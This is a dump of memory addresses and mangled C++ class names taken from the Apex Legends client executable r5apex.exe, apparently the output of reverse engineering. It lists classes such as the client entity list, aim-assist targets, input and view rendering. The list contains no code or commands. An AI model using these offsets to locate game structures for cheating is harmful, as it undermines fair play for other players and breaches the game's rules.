+r5apex.exe!0x01e8a350 .?AV?$CParticleOperatorDefinition@VC_OP_ForceBasedOnDistanceToPlane@@@@ +r5apex.exe!0x01e8a9e0 .?AV?$CParticleOperatorDefinition@VC_OP_GraphScalar@@@@ +r5apex.exe!0x01e8ac70 .?AV?$CParticleOperatorDefinition@VC_OP_GraphVector@@@@ +r5apex.exe!0x01e8a5c0 .?AV?$CParticleOperatorDefinition@VC_OP_InheritFromParentParticles@@@@ +r5apex.exe!0x01e8a320 .?AV?$CParticleOperatorDefinition@VC_OP_InstantaneousDistanceEmitter@@@@ +r5apex.exe!0x01e8a2c0 .?AV?$CParticleOperatorDefinition@VC_OP_InstantaneousEmitter@@@@ +r5apex.exe!0x01e8acf8 .?AV?$CParticleOperatorDefinition@VC_OP_InterpolateRadius@@@@ +r5apex.exe!0x01e8a4e8 .?AV?$CParticleOperatorDefinition@VC_OP_LagCompensation@@@@ +r5apex.exe!0x01e8a428 .?AV?$CParticleOperatorDefinition@VC_OP_LerpEndCapScalar@@@@ +r5apex.exe!0x01e8a8c0 .?AV?$CParticleOperatorDefinition@VC_OP_LerpEndCapVector@@@@ +r5apex.exe!0x01e8a668 .?AV?$CParticleOperatorDefinition@VC_OP_LerpScalar@@@@ +r5apex.exe!0x01e8a890 .?AV?$CParticleOperatorDefinition@VC_OP_LerpVector@@@@ +r5apex.exe!0x01e8a6e0 .?AV?$CParticleOperatorDefinition@VC_OP_LockToBone@@@@ +r5apex.exe!0x01e8a8f0 .?AV?$CParticleOperatorDefinition@VC_OP_LockToSavedSequentialPath@@@@ +r5apex.exe!0x01e8a2d8 .?AV?$CParticleOperatorDefinition@VC_OP_MaintainEmitter@@@@ +r5apex.exe!0x01e8ad28 .?AV?$CParticleOperatorDefinition@VC_OP_MaintainSequentialPath@@@@ +r5apex.exe!0x01e8a860 .?AV?$CParticleOperatorDefinition@VC_OP_MaxVelocity@@@@ +r5apex.exe!0x01e8a6f8 .?AV?$CParticleOperatorDefinition@VC_OP_ModelCull@@@@ +r5apex.exe!0x01e8abc8 .?AV?$CParticleOperatorDefinition@VC_OP_MoveToHitbox@@@@ +r5apex.exe!0x01e8a500 .?AV?$CParticleOperatorDefinition@VC_OP_MovementMaintainOffset@@@@ +r5apex.exe!0x01e8ac28 .?AV?$CParticleOperatorDefinition@VC_OP_MovementPlaceOnGround@@@@ +r5apex.exe!0x01e8aa88 .?AV?$CParticleOperatorDefinition@VC_OP_MovementRotateParticleAroundAxis@@@@ +r5apex.exe!0x01e8a740 .?AV?$CParticleOperatorDefinition@VC_OP_Noise@@@@ +r5apex.exe!0x01e8a2f0 .?AV?$CParticleOperatorDefinition@VC_OP_NoiseEmitter@@@@ +r5apex.exe!0x01e8aa58 .?AV?$CParticleOperatorDefinition@VC_OP_NormalLock@@@@ +r5apex.exe!0x01e8a7b8 .?AV?$CParticleOperatorDefinition@VC_OP_NormalizeVector@@@@ +r5apex.exe!0x01e8ac10 .?AV?$CParticleOperatorDefinition@VC_OP_Orient2DRelToCP@@@@ +r5apex.exe!0x01e8ac40 .?AV?$CParticleOperatorDefinition@VC_OP_OrientTo2dDirection@@@@ +r5apex.exe!0x01e8a920 .?AV?$CParticleOperatorDefinition@VC_OP_OrientTowardPlayer@@@@ +r5apex.exe!0x01e8a5a8 .?AV?$CParticleOperatorDefinition@VC_OP_OscillateScalar@@@@ +r5apex.exe!0x01e8a560 .?AV?$CParticleOperatorDefinition@VC_OP_OscillateScalarSimple@@@@ +r5apex.exe!0x01e8ac98 .?AV?$CParticleOperatorDefinition@VC_OP_OscillateVector@@@@ +r5apex.exe!0x01e8a4b8 .?AV?$CParticleOperatorDefinition@VC_OP_OscillateVectorSimple@@@@ +r5apex.exe!0x01e8a398 .?AV?$CParticleOperatorDefinition@VC_OP_ParentVortices@@@@ +r5apex.exe!0x01e8a9c8 .?AV?$CParticleOperatorDefinition@VC_OP_PercentageBetweenCPs@@@@ +r5apex.exe!0x01e8a5f0 .?AV?$CParticleOperatorDefinition@VC_OP_PercentageBetweenCPsVector@@@@ +r5apex.exe!0x01e73188 .?AV?$CParticleOperatorDefinition@VC_OP_PlanarConstraint@@@@ +r5apex.exe!0x01e8a998 .?AV?$CParticleOperatorDefinition@VC_OP_PlaneCull@@@@ +r5apex.exe!0x01e8a830 .?AV?$CParticleOperatorDefinition@VC_OP_PositionBetweenCPs@@@@ +r5apex.exe!0x01e8a440 .?AV?$CParticleOperatorDefinition@VC_OP_PositionLock@@@@ +r5apex.exe!0x01e8aba0 .?AV?$CParticleOperatorDefinition@VC_OP_ProjectileArc@@@@ +r5apex.exe!0x01e8a530 .?AV?$CParticleOperatorDefinition@VC_OP_RadiusDecay@@@@ +r5apex.exe!0x01e8aa28 .?AV?$CParticleOperatorDefinition@VC_OP_RampScalarLinear@@@@ +r5apex.exe!0x01e8acb0 .?AV?$CParticleOperatorDefinition@VC_OP_RampScalarLinearSimple@@@@ +r5apex.exe!0x01e8a488 .?AV?$CParticleOperatorDefinition@VC_OP_RampScalarSpline@@@@ +r5apex.exe!0x01e8a680 .?AV?$CParticleOperatorDefinition@VC_OP_RampScalarSplineSimple@@@@ +r5apex.exe!0x01e8a3c8 .?AV?$CParticleOperatorDefinition@VC_OP_RandomForce@@@@ +r5apex.exe!0x01e8ac58 .?AV?$CParticleOperatorDefinition@VC_OP_RemapAverageScalarValuetoCP@@@@ +r5apex.exe!0x01e8a410 .?AV?$CParticleOperatorDefinition@VC_OP_RemapBoundingVolumetoCP@@@@ +r5apex.exe!0x01e8a6c8 .?AV?$CParticleOperatorDefinition@VC_OP_RemapCPVelocityToVector@@@@ +r5apex.exe!0x01e8ad10 .?AV?$CParticleOperatorDefinition@VC_OP_RemapCPtoScalar@@@@ +r5apex.exe!0x01e8a7e8 .?AV?$CParticleOperatorDefinition@VC_OP_RemapCPtoVector@@@@ +r5apex.exe!0x01e8a848 .?AV?$CParticleOperatorDefinition@VC_OP_RemapControlPointDirectionToVector@@@@ +r5apex.exe!0x01e8a950 .?AV?$CParticleOperatorDefinition@VC_OP_RemapDirectionToCPToVector@@@@ +r5apex.exe!0x01e8a590 .?AV?$CParticleOperatorDefinition@VC_OP_RemapDotProductToScalar@@@@ +r5apex.exe!0x01e8a9f8 .?AV?$CParticleOperatorDefinition@VC_OP_RemapModelVolumetoCP@@@@ +r5apex.exe!0x01e8a9b0 .?AV?$CParticleOperatorDefinition@VC_OP_RemapScalar@@@@ +r5apex.exe!0x01e8a788 .?AV?$CParticleOperatorDefinition@VC_OP_RemapSpeed@@@@ +r5apex.exe!0x01e8a8d8 .?AV?$CParticleOperatorDefinition@VC_OP_RemapSpeedtoCP@@@@ +r5apex.exe!0x01e8a458 .?AV?$CParticleOperatorDefinition@VC_OP_RemapVelocityToVector@@@@ +r5apex.exe!0x01e8a650 .?AV?$CParticleOperatorDefinition@VC_OP_RemapWorldCPToScreen@@@@ +r5apex.exe!0x01e8ae40 .?AV?$CParticleOperatorDefinition@VC_OP_RenderDecal@@@@ +r5apex.exe!0x01e8b020 .?AV?$CParticleOperatorDefinition@VC_OP_RenderLightSource@@@@ +r5apex.exe!0x01e8ae88 .?AV?$CParticleOperatorDefinition@VC_OP_RenderModels@@@@ +r5apex.exe!0x01e8ae58 .?AV?$CParticleOperatorDefinition@VC_OP_RenderPoints@@@@ +r5apex.exe!0x01e8b0f0 .?AV?$CParticleOperatorDefinition@VC_OP_RenderRope@@@@ +r5apex.exe!0x01e8b008 .?AV?$CParticleOperatorDefinition@VC_OP_RenderScreenVelocityRotate@@@@ +r5apex.exe!0x01e8ae70 .?AV?$CParticleOperatorDefinition@VC_OP_RenderScripts@@@@ +r5apex.exe!0x01e8b038 .?AV?$CParticleOperatorDefinition@VC_OP_RenderSprites@@@@ +r5apex.exe!0x01e8aff0 .?AV?$CParticleOperatorDefinition@VC_OP_RenderSpritesTrail@@@@ +r5apex.exe!0x01e8a968 .?AV?$CParticleOperatorDefinition@VC_OP_RestartAfterDuration@@@@ +r5apex.exe!0x01e8a548 .?AV?$CParticleOperatorDefinition@VC_OP_RotateVector@@@@ +r5apex.exe!0x01e8a800 .?AV?$CParticleOperatorDefinition@VC_OP_SetCPOrientationToDirection@@@@ +r5apex.exe!0x01e8a608 .?AV?$CParticleOperatorDefinition@VC_OP_SetChildControlPoints@@@@ +r5apex.exe!0x01e8a728 .?AV?$CParticleOperatorDefinition@VC_OP_SetControlPointPositions@@@@ +r5apex.exe!0x01e8ad40 .?AV?$CParticleOperatorDefinition@VC_OP_SetControlPointRotation@@@@ +r5apex.exe!0x01e8aa10 .?AV?$CParticleOperatorDefinition@VC_OP_SetControlPointToCenter@@@@ +r5apex.exe!0x01e8a578 .?AV?$CParticleOperatorDefinition@VC_OP_SetControlPointToImpactPoint@@@@ +r5apex.exe!0x01e8ace0 .?AV?$CParticleOperatorDefinition@VC_OP_SetControlPointToOwner@@@@ +r5apex.exe!0x01e8a6b0 .?AV?$CParticleOperatorDefinition@VC_OP_SetControlPointToPlayer@@@@ +r5apex.exe!0x01e8a7a0 .?AV?$CParticleOperatorDefinition@VC_OP_SetControlPointsToParticle@@@@ +r5apex.exe!0x01e8a620 .?AV?$CParticleOperatorDefinition@VC_OP_SetPerChildControlPoint@@@@ +r5apex.exe!0x01e8ab70 .?AV?$CParticleOperatorDefinition@VC_OP_SoundMeterScalar@@@@ +r5apex.exe!0x01e8a3f8 .?AV?$CParticleOperatorDefinition@VC_OP_Spin@@@@ +r5apex.exe!0x01e8a698 .?AV?$CParticleOperatorDefinition@VC_OP_SpinUpdate@@@@ +r5apex.exe!0x01e8a938 .?AV?$CParticleOperatorDefinition@VC_OP_SpinYaw@@@@ +r5apex.exe!0x01e8ad58 .?AV?$CParticleOperatorDefinition@VC_OP_StopAfterCPDuration@@@@ +r5apex.exe!0x01e8a380 .?AV?$CParticleOperatorDefinition@VC_OP_TimeVaryingForce@@@@ +r5apex.exe!0x01e8a368 .?AV?$CParticleOperatorDefinition@VC_OP_TurbulenceForce@@@@ +r5apex.exe!0x01e8a3b0 .?AV?$CParticleOperatorDefinition@VC_OP_TwistAroundAxis@@@@ +r5apex.exe!0x01e8a5d8 .?AV?$CParticleOperatorDefinition@VC_OP_VectorNoise@@@@ +r5apex.exe!0x01e8a908 .?AV?$CParticleOperatorDefinition@VC_OP_VelocityDecay@@@@ +r5apex.exe!0x01e8ab40 .?AV?$CParticleOperatorDefinition@VC_OP_VelocityMatchingForce@@@@ +r5apex.exe!0x01e72af8 .?AV?$CParticleOperatorDefinition@VC_OP_WorldCollideConstraint@@@@ +r5apex.exe!0x01e73978 .?AV?$CParticleOperatorDefinition@VC_OP_WorldTraceConstraint@@@@ +r5apex.exe!0x018a3b70 .?AV?$C_EntityClassList@VC_PointCamera@@@@ +r5apex.exe!0x01c42098 .?AV?$C_EntityClassList@VC_TriggerPlayerMovement@@@@ +r5apex.exe!0x01eb9770 .?AVAddressV1@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01eba180 .?AVAssignErrorV1@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01eb8d20 .?AVBinaryMessage@protocol@antelope@eadp@ea@com@@ +r5apex.exe!0x018a9220 .?AVCAimAssistTargets@@ +r5apex.exe!0x018a9228 .?AVCAimAssistTargets@@ +r5apex.exe!0x0119eeb0 .?AVCAvi@@ +r5apex.exe!0x01195318 .?AVCBaseClientRenderTargets@@ +r5apex.exe!0x01e915e8 .?AVCBaseResourcePrecacher@@ +r5apex.exe!0x01e91758 .?AVCBaseResourcePrecacher@@ +r5apex.exe!0x01e91c68 .?AVCBaseResourcePrecacher@@ +r5apex.exe!0x01e92dc8 .?AVCBaseResourcePrecacher@@ +r5apex.exe!0x01e93158 .?AVCBaseResourcePrecacher@@ +r5apex.exe!0x01e93178 .?AVCBaseResourcePrecacher@@ +r5apex.exe!0x01e93368 .?AVCBaseResourcePrecacher@@ +r5apex.exe!0x01e93388 .?AVCBaseResourcePrecacher@@ +r5apex.exe!0x01e933a8 .?AVCBaseResourcePrecacher@@ +r5apex.exe!0x01e933c8 .?AVCBaseResourcePrecacher@@ +r5apex.exe!0x01e933e8 .?AVCBaseResourcePrecacher@@ +r5apex.exe!0x01e93518 .?AVCBaseResourcePrecacher@@ +r5apex.exe!0x01e935a8 .?AVCBaseResourcePrecacher@@ +r5apex.exe!0x01e935c8 .?AVCBaseResourcePrecacher@@ +r5apex.exe!0x01e935e8 .?AVCBaseResourcePrecacher@@ +r5apex.exe!0x01e93608 .?AVCBaseResourcePrecacher@@ +r5apex.exe!0x01e98598 .?AVCBaseResourcePrecacher@@ +r5apex.exe!0x01e98628 .?AVCBaseResourcePrecacher@@ +r5apex.exe!0x01e986b8 .?AVCBaseResourcePrecacher@@ +r5apex.exe!0x01e98748 .?AVCBaseResourcePrecacher@@ +r5apex.exe!0x01e98998 .?AVCBaseResourcePrecacher@@ +r5apex.exe!0x01e98b68 .?AVCBaseResourcePrecacher@@ +r5apex.exe!0x01e98f98 .?AVCBaseResourcePrecacher@@ +r5apex.exe!0x01e99028 .?AVCBaseResourcePrecacher@@ +r5apex.exe!0x01e990b8 .?AVCBaseResourcePrecacher@@ +r5apex.exe!0x01e990d8 .?AVCBaseResourcePrecacher@@ +r5apex.exe!0x01e99248 .?AVCBaseResourcePrecacher@@ +r5apex.exe!0x01e9bcc8 .?AVCBaseResourcePrecacher@@ +r5apex.exe!0x01e9bd88 .?AVCBaseResourcePrecacher@@ +r5apex.exe!0x04f6c380 .?AVCBik@@ +r5apex.exe!0x01e8c1f8 .?AVCBoolProperty@@ +r5apex.exe!0x01c2ee80 .?AVCCascadeLightManager@@ +r5apex.exe!0x01c560b0 .?AVCCenterPrint@@ +r5apex.exe!0x01e91d00 .?AVCClassMap@@ +r5apex.exe!0x01c50aa0 .?AVCClientCollisionEvent@@ +r5apex.exe!0x011951e8 .?AVCClientDLLSharedAppSystems@@ +r5apex.exe!0x018ad3a0 .?AVCClientEntityList@@ +r5apex.exe!0x01b2d3f8 .?AVCClientEntityList@@ +r5apex.exe!0x064d3100 .?AVCClientLeafSystem@@ +r5apex.exe!0x064cbf90 .?AVCClientShadowMgr@@ +r5apex.exe!0x0118d888 .?AVCClientSound@@ +r5apex.exe!0x01261f80 .?AVCClientState@@ +r5apex.exe!0x01261f88 .?AVCClientState@@ +r5apex.exe!0x01261f90 .?AVCClientState@@ +r5apex.exe!0x01261f98 .?AVCClientState@@ +r5apex.exe!0x01c38ad0 .?AVCClientThinkList@@ +r5apex.exe!0x01189250 .?AVCCmdLibFileLoggingListener@@ +r5apex.exe!0x01188fb8 .?AVCCmdLibStandardLoggingListener@@ +r5apex.exe!0x018963b0 .?AVCColorCorrectionMgr@@ +r5apex.exe!0x012d8640 .?AVCColorCorrectionSystem@@ +r5apex.exe!0x01e8c1e8 .?AVCColorProperty@@ +r5apex.exe!0x01885580 .?AVCCommandLine@@ +r5apex.exe!0x05986b50 .?AVCCountedStringPool@@ +r5apex.exe!0x05986ba0 .?AVCCountedStringPool@@ +r5apex.exe!0x01888f90 .?AVCCvar@@ +r5apex.exe!0x0118c1c0 .?AVCCvarQuery@@ +r5apex.exe!0x0118a640 .?AVCDataCache@@ +r5apex.exe!0x01c4a148 .?AVCDebugOverlayPanel@@ +r5apex.exe!0x0118f9f8 .?AVCDebugTextureInfoDX11@@ +r5apex.exe!0x01190d68 .?AVCDefaultAccessor@@ +r5apex.exe!0x01191528 .?AVCDefaultCvarQuery@@ +r5apex.exe!0x018889e0 .?AVCEmptyConVar@@ +r5apex.exe!0x01888a20 .?AVCEmptyConVar@@ +r5apex.exe!0x01e6f0e0 .?AVCEmptyGameUIConVar@@ +r5apex.exe!0x01e6f120 .?AVCEmptyGameUIConVar@@ +r5apex.exe!0x01199df0 .?AVCEngine@@ +r5apex.exe!0x012d1c30 .?AVCEngineAPI@@ +r5apex.exe!0x0118b028 .?AVCEngineClient@@ +r5apex.exe!0x02bd9b58 .?AVCEngineClient@@ +r5apex.exe!0x06843a28 .?AVCEngineClient@@ +r5apex.exe!0x0685da68 .?AVCEngineClient@@ +r5apex.exe!0x06861ba8 .?AVCEngineClient@@ +r5apex.exe!0x06863b28 .?AVCEngineClient@@ +r5apex.exe!0x068815e8 .?AVCEngineClient@@ +r5apex.exe!0x068960a8 .?AVCEngineClient@@ +r5apex.exe!0x068a65a8 .?AVCEngineClient@@ +r5apex.exe!0x068aafe8 .?AVCEngineClient@@ +r5apex.exe!0x068c4068 .?AVCEngineClient@@ +r5apex.exe!0x068cb7a8 .?AVCEngineClient@@ +r5apex.exe!0x068e31a8 .?AVCEngineClient@@ +r5apex.exe!0x068ff3a8 .?AVCEngineClient@@ +r5apex.exe!0x0690b528 .?AVCEngineClient@@ +r5apex.exe!0x06914be8 .?AVCEngineClient@@ +r5apex.exe!0x06920b28 .?AVCEngineClient@@ +r5apex.exe!0x06923ca8 .?AVCEngineClient@@ +r5apex.exe!0x06964c28 .?AVCEngineClient@@ +r5apex.exe!0x06975368 .?AVCEngineClient@@ +r5apex.exe!0x0697c1a8 .?AVCEngineClient@@ +r5apex.exe!0x06989768 .?AVCEngineClient@@ +r5apex.exe!0x06998ca8 .?AVCEngineClient@@ +r5apex.exe!0x069d12e8 .?AVCEngineClient@@ +r5apex.exe!0x069fcc68 .?AVCEngineClient@@ +r5apex.exe!0x06a283a8 .?AVCEngineClient@@ +r5apex.exe!0x06a2e6a8 .?AVCEngineClient@@ +r5apex.exe!0x06a3d0a8 .?AVCEngineClient@@ +r5apex.exe!0x06a3ede8 .?AVCEngineClient@@ +r5apex.exe!0x06a54aa8 .?AVCEngineClient@@ +r5apex.exe!0x06a5b468 .?AVCEngineClient@@ +r5apex.exe!0x06a62068 .?AVCEngineClient@@ +r5apex.exe!0x06a886a8 .?AVCEngineClient@@ +r5apex.exe!0x06a88fa8 .?AVCEngineClient@@ +r5apex.exe!0x06a898a8 .?AVCEngineClient@@ +r5apex.exe!0x06a984e8 .?AVCEngineClient@@ +r5apex.exe!0x06acc328 .?AVCEngineClient@@ +r5apex.exe!0x06ad8028 .?AVCEngineClient@@ +r5apex.exe!0x06aeb6a8 .?AVCEngineClient@@ +r5apex.exe!0x06aff1a8 .?AVCEngineClient@@ +r5apex.exe!0x06aff868 .?AVCEngineClient@@ +r5apex.exe!0x06b02c28 .?AVCEngineClient@@ +r5apex.exe!0x06b14568 .?AVCEngineClient@@ +r5apex.exe!0x06b3f828 .?AVCEngineClient@@ +r5apex.exe!0x06b4c068 .?AVCEngineClient@@ +r5apex.exe!0x06b69468 .?AVCEngineClient@@ +r5apex.exe!0x06b80328 .?AVCEngineClient@@ +r5apex.exe!0x06b81e28 .?AVCEngineClient@@ +r5apex.exe!0x06b8a528 .?AVCEngineClient@@ +r5apex.exe!0x06b8e428 .?AVCEngineClient@@ +r5apex.exe!0x06bc00a8 .?AVCEngineClient@@ +r5apex.exe!0x06bc0528 .?AVCEngineClient@@ +r5apex.exe!0x06bd9368 .?AVCEngineClient@@ +r5apex.exe!0x06be3e68 .?AVCEngineClient@@ +r5apex.exe!0x06bf23e8 .?AVCEngineClient@@ +r5apex.exe!0x06c0f128 .?AVCEngineClient@@ +r5apex.exe!0x06c31868 .?AVCEngineClient@@ +r5apex.exe!0x06c362a8 .?AVCEngineClient@@ +r5apex.exe!0x06c4cce8 .?AVCEngineClient@@ +r5apex.exe!0x06c65b28 .?AVCEngineClient@@ +r5apex.exe!0x06c73568 .?AVCEngineClient@@ +r5apex.exe!0x06c81f68 .?AVCEngineClient@@ +r5apex.exe!0x06c91fe8 .?AVCEngineClient@@ +r5apex.exe!0x06c96ea8 .?AVCEngineClient@@ +r5apex.exe!0x06c9d3e8 .?AVCEngineClient@@ +r5apex.exe!0x06ca90e8 .?AVCEngineClient@@ +r5apex.exe!0x0118eae8 .?AVCEngineConsoleLoggingListener@@ +r5apex.exe!0x0118a7a8 .?AVCEngineTraceClient@@ +r5apex.exe!0x01189278 .?AVCEngineTraceClientDecals@@ +r5apex.exe!0x0118cd58 .?AVCEngineUniformRandomStream@@ +r5apex.exe!0x011994d0 .?AVCEngineVGui@@ +r5apex.exe!0x01c5c240 .?AVCEntityListAlongRay@@ +r5apex.exe!0x01297820 .?AVCEntityReadInfo@@ +r5apex.exe!0x01889100 .?AVCEventSystem@@ +r5apex.exe!0x01260548 .?AVCExampleEffect@@ +r5apex.exe!0x01c4f790 .?AVCFPS@@ +r5apex.exe!0x05986960 .?AVCFileSystem_Stdio@@ +r5apex.exe!0x05986968 .?AVCFileSystem_Stdio@@ +r5apex.exe!0x01e8c2b0 .?AVCFloatProperty@@ +r5apex.exe!0x011977e8 .?AVCGameClientExports@@ +r5apex.exe!0x01e6ef40 .?AVCGameUI@@ +r5apex.exe!0x0118e978 .?AVCGameUIFuncs@@ +r5apex.exe!0x01e8c2b8 .?AVCHFontProperty@@ +r5apex.exe!0x01895210 .?AVCHLClient@@ +r5apex.exe!0x01260898 .?AVCHudTextMessage@@ +r5apex.exe!0x01260638 .?AVCHudTextureHandleProperty@@ +r5apex.exe!0x0118a8f0 .?AVCIVDebugOverlay@@ +r5apex.exe!0x01c459f0 .?AVCInput@@ +r5apex.exe!0x012d67c0 .?AVCInputStackSystem@@ +r5apex.exe!0x012d6900 .?AVCInputSystem@@ +r5apex.exe!0x0782f550 .?AVCInputWin32@@ +r5apex.exe!0x01e8c208 .?AVCIntProperty@@ +r5apex.exe!0x018aa4a0 .?AVCKeyBindingListenerMgr@@ +r5apex.exe!0x0188a8f0 .?AVCKeyValuesSystem@@ +r5apex.exe!0x0118fe58 .?AVCLauncherLoggingListener@@ +r5apex.exe!0x01190cf8 .?AVCListOps@TSListTests@@ +r5apex.exe!0x01c51378 .?AVCLoadingDisc@@ +r5apex.exe!0x012d84a0 .?AVCLocalize@@ +r5apex.exe!0x01e893d0 .?AVCMDLCache@@ +r5apex.exe!0x059892e0 .?AVCMatQueuedRenderContext@@ +r5apex.exe!0x059892e8 .?AVCMatQueuedRenderContext@@ +r5apex.exe!0x059894b0 .?AVCMatRenderContext@@ +r5apex.exe!0x059894b8 .?AVCMatRenderContext@@ +r5apex.exe!0x078383f0 .?AVCMatSystemSurface@@ +r5apex.exe!0x078383f8 .?AVCMatSystemSurface@@ +r5apex.exe!0x07838400 .?AVCMatSystemSurface@@ +r5apex.exe!0x05989060 .?AVCMaterialSystem@@ +r5apex.exe!0x01c4f5a0 .?AVCMessageChars@@ +r5apex.exe!0x00eb03f0 .?AVCMessageListener@vgui@@ +r5apex.exe!0x0118bce8 .?AVCModelInfoClient@@ +r5apex.exe!0x0118be98 .?AVCModelInfoServer@@ +r5apex.exe!0x011947f0 .?AVCModelLoader@@ +r5apex.exe!0x01198bf0 .?AVCModelRender@@ +r5apex.exe!0x01c55ff0 .?AVCModelRenderSystem@@ +r5apex.exe!0x01c56008 .?AVCModelRenderSystem@@ +r5apex.exe!0x01c537c0 .?AVCMoveHelperClient@@ +r5apex.exe!0x0118bb58 .?AVCNetworkStringTableContainer@@ +r5apex.exe!0x01197710 .?AVCNetworkStringTableContainer@@ +r5apex.exe!0x01e93dd0 .?AVCPanelMetaClassMgrImp@@ +r5apex.exe!0x01e94300 .?AVCParticleMgr@@ +r5apex.exe!0x011914b8 .?AVCPhysicsCollision@@ +r5apex.exe!0x01888b20 .?AVCPhysicsInterface@@ +r5apex.exe!0x064a3d20 .?AVCPhysicsSurfaceProps@@ +r5apex.exe!0x012609a8 .?AVCPhysicsSystem@@ +r5apex.exe!0x01c5c840 .?AVCPickupList@@ +r5apex.exe!0x01196028 .?AVCPixelVisibilitySystem@@ +r5apex.exe!0x01ca2f90 .?AVCPoseDebuggerImpl@@ +r5apex.exe!0x0118d308 .?AVCPrecacheSystem@@ +r5apex.exe!0x01e6def0 .?AVCPrediction@@ +r5apex.exe!0x0188aa60 .?AVCProcessUtils@@ +r5apex.exe!0x01e8bbb8 .?AVCProportionalFloatProperty@@ +r5apex.exe!0x01e8c308 .?AVCProportionalIntProperty@@ +r5apex.exe!0x01e8ce80 .?AVCProportionalXPosProperty@@ +r5apex.exe!0x01e8c1e0 .?AVCProportionalYPosProperty@@ +r5apex.exe!0x01190c88 .?AVCQueueOps@TSListTests@@ +r5apex.exe!0x011972b0 .?AVCQueuedPacketSender@@ +r5apex.exe!0x01c9ff70 .?AVCRagdollLRURetirement@@ +r5apex.exe!0x0118e728 .?AVCRegistry@@ +r5apex.exe!0x01884d60 .?AVCResListGenerator@@ +r5apex.exe!0x0119ba88 .?AVCRopeInitializer@@ +r5apex.exe!0x01ca1338 .?AVCRunGameEngine@@ +r5apex.exe!0x0118c558 .?AVCSaveRestoreFileSystemPassthrough@@ +r5apex.exe!0x01e8d2b0 .?AVCSchemeManager@@ +r5apex.exe!0x012606a8 .?AVCScreenSpaceEffectManager@@ +r5apex.exe!0x01189260 .?AVCScriptLib@@ +r5apex.exe!0x04f735c0 .?AVCServer@@ +r5apex.exe!0x012e4a80 .?AVCShaderSystem@@ +r5apex.exe!0x011886a8 .?AVCSimpleLoggingListener@@ +r5apex.exe!0x0b2d0d88 .?AVCSimpleLoggingListener@@ +r5apex.exe!0x011886b8 .?AVCSimpleWindowsLoggingListener@@ +r5apex.exe!0x012d68f8 .?AVCSolidSetDefaults@@ +r5apex.exe!0x01261f70 .?AVCSplitScreen@@ +r5apex.exe!0x0119cff0 .?AVCStaticPropMgr@@ +r5apex.exe!0x0119cff8 .?AVCStaticPropMgr@@ +r5apex.exe!0x08164f80 .?AVCStdMemAlloc@@ +r5apex.exe!0x01e8c200 .?AVCStringProperty@@ +r5apex.exe!0x018850e0 .?AVCStudioRenderContext@@ +r5apex.exe!0x01e8d558 .?AVCSurfaceDragDropTarget@@ +r5apex.exe!0x01e8d310 .?AVCSystem@@ +r5apex.exe!0x01c3c170 .?AVCTempEnts@@ +r5apex.exe!0x01e8d760 .?AVCTextureDictionary@@ +r5apex.exe!0x01e8c300 .?AVCTextureIdProperty@@ +r5apex.exe!0x0319c148 .?AVCTraceFilterHitAll@@ +r5apex.exe!0x0319c178 .?AVCTraceFilterHitAll@@ +r5apex.exe!0x031a4948 .?AVCTraceFilterHitAll@@ +r5apex.exe!0x031a4978 .?AVCTraceFilterHitAll@@ +r5apex.exe!0x031ad148 .?AVCTraceFilterHitAll@@ +r5apex.exe!0x031ad178 .?AVCTraceFilterHitAll@@ +r5apex.exe!0x031b5948 .?AVCTraceFilterHitAll@@ +r5apex.exe!0x031b5978 .?AVCTraceFilterHitAll@@ +r5apex.exe!0x031be148 .?AVCTraceFilterHitAll@@ +r5apex.exe!0x031be178 .?AVCTraceFilterHitAll@@ +r5apex.exe!0x031c6948 .?AVCTraceFilterHitAll@@ +r5apex.exe!0x031c6978 .?AVCTraceFilterHitAll@@ +r5apex.exe!0x03617948 .?AVCTraceFilterHitAll@@ +r5apex.exe!0x03617978 .?AVCTraceFilterHitAll@@ +r5apex.exe!0x03620148 .?AVCTraceFilterHitAll@@ +r5apex.exe!0x03620178 .?AVCTraceFilterHitAll@@ +r5apex.exe!0x03628948 .?AVCTraceFilterHitAll@@ +r5apex.exe!0x03628978 .?AVCTraceFilterHitAll@@ +r5apex.exe!0x03631148 .?AVCTraceFilterHitAll@@ +r5apex.exe!0x03631178 .?AVCTraceFilterHitAll@@ +r5apex.exe!0x03639948 .?AVCTraceFilterHitAll@@ +r5apex.exe!0x03639978 .?AVCTraceFilterHitAll@@ +r5apex.exe!0x03642148 .?AVCTraceFilterHitAll@@ +r5apex.exe!0x03642178 .?AVCTraceFilterHitAll@@ +r5apex.exe!0x0364a948 .?AVCTraceFilterHitAll@@ +r5apex.exe!0x0364a978 .?AVCTraceFilterHitAll@@ +r5apex.exe!0x03653148 .?AVCTraceFilterHitAll@@ +r5apex.exe!0x03653178 .?AVCTraceFilterHitAll@@ +r5apex.exe!0x0365b948 .?AVCTraceFilterHitAll@@ +r5apex.exe!0x0365b978 .?AVCTraceFilterHitAll@@ +r5apex.exe!0x03664148 .?AVCTraceFilterHitAll@@ +r5apex.exe!0x03664178 .?AVCTraceFilterHitAll@@ +r5apex.exe!0x0366c948 .?AVCTraceFilterHitAll@@ +r5apex.exe!0x0366c978 .?AVCTraceFilterHitAll@@ +r5apex.exe!0x03675148 .?AVCTraceFilterHitAll@@ +r5apex.exe!0x03675178 .?AVCTraceFilterHitAll@@ +r5apex.exe!0x0367d948 .?AVCTraceFilterHitAll@@ +r5apex.exe!0x0367d978 .?AVCTraceFilterHitAll@@ +r5apex.exe!0x01e87d78 .?AVCTraceFilterPhysicsTunnel_Client@@ +r5apex.exe!0x0118bdf8 .?AVCUniformRandomStream@@ +r5apex.exe!0x01191618 .?AVCUniformRandomStream@@ +r5apex.exe!0x01886690 .?AVCUtlCStringConversion@@ +r5apex.exe!0x018878b0 .?AVCUtlNoEscConversion@@ +r5apex.exe!0x0118cb98 .?AVCVEfx@@ +r5apex.exe!0x0118e2e8 .?AVCVEngineServer@@ +r5apex.exe!0x0782f3c0 .?AVCVGui@@ +r5apex.exe!0x0118c6a8 .?AVCVRenderView@@ +r5apex.exe!0x01c52910 .?AVCVScriptGameSystem@@ +r5apex.exe!0x01c4ff10 .?AVCViewEffects@@ +r5apex.exe!0x01c55b50 .?AVCViewEffects@@ +r5apex.exe!0x01ca4a80 .?AVCViewRender@@ +r5apex.exe!0x01260828 .?AVCViewportClientSystem@@ +r5apex.exe!0x0118cdc8 .?AVCVoiceServer@@ +r5apex.exe!0x0782f1c0 .?AVCWin32Surface@@ +r5apex.exe!0x0782f1c8 .?AVCWin32Surface@@ +r5apex.exe!0x0782f1d0 .?AVCWin32Surface@@ +r5apex.exe!0x01191b18 .?AVC_BaseAnimatingGameSystem@@ 